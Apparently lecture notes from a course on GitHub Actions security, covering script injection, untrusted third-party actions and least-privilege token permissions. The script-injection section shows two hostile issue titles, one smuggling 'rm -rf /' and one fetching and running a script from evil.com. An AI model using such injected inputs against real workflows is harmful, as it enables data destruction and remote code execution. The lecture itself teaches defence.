

Lecture thumbnail

3:26 / 3:31

So when it comes to Workflow Security,

there are,

a couple of topics

or potential problems you should be aware of,

Show more ▾



GitHub Actions Workflow Security – Explained

Workflow Security is one of the most important aspects of GitHub Actions. Since workflows execute code automatically, a poorly secured workflow can expose secrets, modify repositories, or even compromise your CI/CD pipeline.

This lecture focuses on three major security concerns:

1. Script Injection
2. Malicious Third-Party Actions
3. Workflow Permissions

1. Script Injection

What is Script Injection?

Script Injection occurs when **untrusted user input** is directly inserted into a shell command or script executed by GitHub Actions.

Since workflows often receive data from GitHub events (issue titles, PR titles, commit messages, comments, branch names, etc.), an attacker can intentionally craft malicious input.

Unsafe Example

Suppose your workflow runs whenever someone creates an issue.

</> YAML



```
name: Issue Workflow

on:
  issues:
    types: [opened]

jobs:
  print:
    runs-on: ubuntu-latest

    steps:
      - name: Print Issue Title
        run: echo "${{ github.event.issue.title }}"
```

Looks harmless.

Imagine someone creates an issue with this title:

Hello"; rm -rf /; echo "



or

\$(curl evil.com/script.sh | bash)



If that value is inserted into a shell command incorrectly, arbitrary shell commands could execute.

Safe Approach

Instead of directly embedding expressions into shell commands, pass them as environment variables.

</> YAML



```
steps:
  - name: Safe Example
    env:
      ISSUE_TITLE: "${{ github.event.issue.title }}"
```

```
run: |  
  echo "$ISSUE_TITLE"
```

The shell treats the value as plain text instead of executable code.

Inputs That Can Be Dangerous

Never blindly trust values coming from:

- Issue title
- Issue body
- Pull Request title
- Pull Request body
- Commit messages
- Branch names
- User comments
- Labels
- Workflow inputs
- External API responses

Treat them exactly like user input in a web application.

2. Malicious Third-Party Actions

GitHub allows anyone to publish Actions.

For example:

YAML



```
uses: random-user/some-action@v1
```

The action can execute arbitrary code because Actions can:

- Execute shell commands
- Access repository files
- Read environment variables
- Read secrets
- Call external APIs
- Modify repositories

If the action is malicious, it could:

- Steal secrets

AWS Keys
Docker Password
PAT Tokens
API Keys
SSH Keys



- Upload source code
- Delete files
- Push malicious commits
- Send repository data to attackers

Unsafe

</> YAML



```
- uses: unknown/random-action@latest
```

Problems:

- Unknown author
- Latest tag changes
- Code could change anytime

Better

Use trusted actions.

</> YAML



```
uses: actions/checkout@v4
```

or

</> YAML



```
uses: actions/setup-node@v4
```

Official GitHub Actions are generally trustworthy.

Even Better

Pin the action using a commit SHA.

Instead of

</> YAML



```
uses: actions/checkout@v4
```

use

</> YAML



```
uses: actions/checkout@8ade135a...
```

This guarantees the exact version is used.

Benefits:

- No unexpected updates
- No supply-chain attacks through changed tags

Before Using Any Action

Ask yourself:

- Is it popular?
- Is it maintained?
- Is the repository active?
- Is the source code public?
- Has GitHub verified it?
- Does it really need all requested permissions?

3. Workflow Permissions

Every workflow runs with a special token:

GITHUB_TOKEN



This token allows the workflow to interact with GitHub.

Examples:

- Read repository
- Push commits
- Create releases
- Open issues
- Close PRs
- Upload artifacts

Giving unnecessary permissions increases security risks.

Bad Example

</> YAML



```
permissions: write-all
```

Now every job can

- Push code
- Delete branches
- Create releases
- Edit issues
- Modify PRs

Even if the workflow only runs tests.

Better

Read-only access.

</> YAML



```
permissions:  
  contents: read
```

Useful for:

- npm install
- Build
- Unit tests

No repository modifications allowed.

Deployment Example

If publishing packages:

</> YAML



```
permissions:
  contents: read
  packages: write
```

Only package publishing is allowed.

Creating Releases

</> YAML



```
permissions:
  contents: write
```

Only grant write access when necessary.

Principle of Least Privilege

Always give the minimum permissions required.

Examples:

Running Tests

</> YAML



```
permissions:
  contents: read
```

Building Docker Image

</> YAML



```
permissions:
  contents: read
```

Uploading Artifact

</> YAML



```
permissions:
  contents: read
```

Deploying

</> YAML



```
permissions:
  contents: read
  deployments: write
```

Publishing Package

</> YAML



```
permissions:
  contents: read
  packages: write
```

Real Example

Suppose your workflow only runs tests.

</> YAML



```
name: Test

on:
  push:

permissions:
  contents: read

jobs:
  test:
```



```
runs-on: ubuntu-latest

steps:
  - uses: actions/checkout@v4

  - uses: actions/setup-node@v4
    with:
      node-version: 22

  - run: npm ci

  - run: npm test
```

The workflow cannot:

- Push commits
- Delete branches
- Create releases
- Modify issues

because it only has read access.

Why These Security Practices Matter

Imagine an attacker successfully injects a command into your workflow.

If your workflow has:

</> YAML



```
permissions: write-all
```

the attacker may:

- Delete repository contents
- Push malicious code
- Create fake releases
- Steal secrets

If the workflow instead has:

</> YAML



```
permissions:
  contents: read
```

the injected script has far fewer capabilities, significantly reducing potential damage.

Best Practices Checklist

- ☒ Never trust user-controlled input (issue titles, PR titles, comments, etc.).
- ☒ Pass external values through environment variables instead of embedding them directly in shell commands.
- ☒ Use trusted, well-maintained GitHub Actions.
- ☒ Pin third-party actions to a specific commit SHA when possible.
- ☒ Avoid using `@latest` for Actions.
- ☒ Grant only the minimum permissions (`principle of least privilege`).
- ☒ Review third-party Action source code before use.
- ☒ Keep secrets limited to jobs that actually require them.
- ☒ Regularly review and update workflow dependencies and permissions.

Following these practices greatly reduces the risk of script injection, supply-chain attacks through third-party Actions, and damage from overly permissive workflow tokens.

